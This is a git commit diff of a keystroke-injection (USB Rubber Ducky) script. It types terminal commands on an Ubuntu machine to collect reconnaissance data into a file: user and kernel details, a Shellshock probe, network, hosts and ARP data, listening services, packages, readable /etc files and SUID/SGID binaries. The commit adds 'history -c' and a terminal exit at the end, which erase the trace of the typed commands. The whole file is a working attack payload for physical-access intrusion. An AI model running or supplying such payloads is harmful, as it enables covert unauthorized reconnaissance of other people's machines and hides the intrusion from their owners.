Fixed some issues and added 'history -c' and exit the terminal at end..

This commit is contained in:
Thecakeisgit 2016-11-11 23:25:31 +01:00
parent e04a7a4561
commit 5474a9e732
1 changed files with 33 additions and 33 deletions

View File

@ -1,26 +1,22 @@
The following script is an information gatherer script which collects info from a running Ubuntu OS and saves it to a file named "info_gathering.txt". The following script is an information gatherer script which collects info from a running Ubuntu OS and saves it to a file named "info_gathering.txt".
The info that the script retrieves is the logged in username, the distribution and kernel version of the running system, the applicability of the shellsock bug, the mounted filesystems, information which is related to the Network adapters, availability of development tools (python, g++), contents of the hosts file and the listening TCP/UDP connections. Apart from that it attempts to find readable folders inside the /etc folder and also prints the SUID and GUID files. The info that the script retrieves is the logged in username, the distribution and kernel version of the running system, the applicability of the shellsock bug, the mounted filesystems, information which is related to the Network adapters, availability of development tools (python, g++), contents of the hosts file and the listening TCP/UDP connections. Apart from that it attempts to find readable folders inside the /etc folder and also prints the SUID and GUID files.
REM Info gathering Ubuntu 1.0 Script issues OS info gathering commands in terminal - by Captain_Harlock REM Info gathering Ubuntu 1.0 Script issues OS info gathering commands in terminal - by Captain_Harlock, Improved by Thecakeisgit ;D
DELAY 3000 DELAY 3000
ALT F2 CTRL ALT t
DELAY 300 DELAY 1500
STRING gnome-terminal
DELAY 100
ENTER
DELAY 200
STRING clear STRING clear
DELAY 10 DELAY 10
ENTER ENTER
DELAY 50 DELAY 50
STRING echo "Logged in user:" $USER > info_gathering.txt STRING echo "Logged in user: " $USER > info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING echo >> info_gathering.txt STRING echo >> info_gathering.txt
DELAY 50 DELAY 50
ENTER ENTER
DELAY 50 DELAY 50
STRING echo -n "Distribution Kernel Version:" >> info_gathering.txt STRING echo -n "Distribution Kernel Version: " >> info_gathering.txt
DELAY 50 DELAY 50
ENTER ENTER
DELAY 50 DELAY 50
@ -35,30 +31,28 @@ The info that the script retrieves is the logged in username, the distribution a
STRING uname -a >> info_gathering.txt STRING uname -a >> info_gathering.txt
DELAY 50 DELAY 50
ENTER ENTER
DELAY 100
STRING echo >> info_gathering.txt
DELAY 50 DELAY 50
ENTER
DELAY 50
STRING echo "Shellsock Bug Vulnerability: " >> info_gathering.txt
DELAY 50
ENTER
DELAY 50
STRING env x='() { :;}; echo vulnerable' bash -c "echo this is a test" >> info_gathering.txt
DELAY 50
ENTER
DELAY 50 DELAY 50
STRING echo >> info_gathering.txt STRING echo >> info_gathering.txt
DELAY 50 DELAY 50
ENTER ENTER
DELAY 50 DELAY 50
STRING echo "Shellsock Bug Vulnerability" >> info_gathering.txt
DELAY 50
ENTER
STRING echo >> info_gathering.txt
ENTER
DELAY 50
STRING env x='() { :;}; echo vulnerable' bash -c `echo hello` >> info_gathering.txt
DELAY 50
ENTER
DELAY 50
DELAY 50
ENTER
DELAY 50
STRING echo >> info_gathering.txt STRING echo >> info_gathering.txt
DELAY 50 DELAY 50
ENTER ENTER
DELAY 50 DELAY 50
STRING echo "Mounted filesystems" >> info_gathering.txt STRING echo "Mounted filesystems: " >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING mount -l >> info_gathering.txt STRING mount -l >> info_gathering.txt
@ -68,25 +62,23 @@ The info that the script retrieves is the logged in username, the distribution a
STRING echo >> info_gathering.txt STRING echo >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING echo "Network Configuration" >> info_gathering.txt STRING echo "Network Configuration: " >> info_gathering.txt
DELAY 50 DELAY 50
ENTER ENTER
DELAY 50 DELAY 50
STRING ifconfig -a | grep 'Link\|inet' >> info_gathering.txt STRING ifconfig -a | grep 'Link\|inet' >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING
STRING echo >> info_gathering.txt STRING echo >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING echo "Print Hosts" >> info_gathering.txt STRING echo "Print Hosts: " >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING cat /etc/hosts >> info_gathering.txt STRING cat /etc/hosts >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING STRING echo "Print ARP: " >> info_gathering.txt
STRING echo echo "Print ARP" >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING arp >> info_gathering.txt STRING arp >> info_gathering.txt
@ -95,7 +87,7 @@ The info that the script retrieves is the logged in username, the distribution a
STRING echo >> info_gathering.txt STRING echo >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING echo "Development tools availability" >> info_gathering.txt STRING echo "Development tools availability: " >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING which gcc >> info_gathering.txt STRING which gcc >> info_gathering.txt
@ -110,7 +102,7 @@ The info that the script retrieves is the logged in username, the distribution a
STRING echo >> info_gathering.txt STRING echo >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING echo "Print TCP/UDP Listening Services" >> info_gathering.txt STRING echo "Print TCP/UDP Listening Services: " >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING netstat -tunlpe >> info_gathering.txt STRING netstat -tunlpe >> info_gathering.txt
@ -119,7 +111,7 @@ The info that the script retrieves is the logged in username, the distribution a
STRING echo >> info_gathering.txt STRING echo >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING echo "Installed Packages" >> info_gathering.txt STRING echo "Installed Packages: " >> info_gathering.txt
DELAY 50 DELAY 50
ENTER ENTER
DELAY 200 DELAY 200
@ -129,10 +121,10 @@ The info that the script retrieves is the logged in username, the distribution a
STRING echo >> info_gathering.txt STRING echo >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING echo "Find Readable Folders in /etc" >> info_gathering.txt STRING echo "Find Readable Folders in /etc: " >> info_gathering.txt
ENTER ENTER
DELAY 50 DELAY 50
STRING find /etc -user `id -u` -perm -u=r -o -group `id -g` -perm -g=r -o -perm -o=r -ls 2> /dev/null >> info_gathering.txt STRING find /etc -user $(id -u) -perm -u=r -o -group $(id -g) -perm -g=r -o -perm -o=r -ls 2> /dev/null >> info_gathering.txt
ENTER ENTER
DELAY 500 DELAY 500
STRING echo >> info_gathering.txt STRING echo >> info_gathering.txt
@ -143,4 +135,12 @@ The info that the script retrieves is the logged in username, the distribution a
DELAY 50 DELAY 50
STRING find / -type f -perm -u=s -o -type f -perm -g=s -ls 2> /dev/null >> info_gathering.txt STRING find / -type f -perm -u=s -o -type f -perm -g=s -ls 2> /dev/null >> info_gathering.txt
DELAY 50 DELAY 50
ENTER
DELAY 15000
STRING history -c
DELAY 50
ENTER
DELAY 50
STRING exit
DELAY 50
ENTER ENTER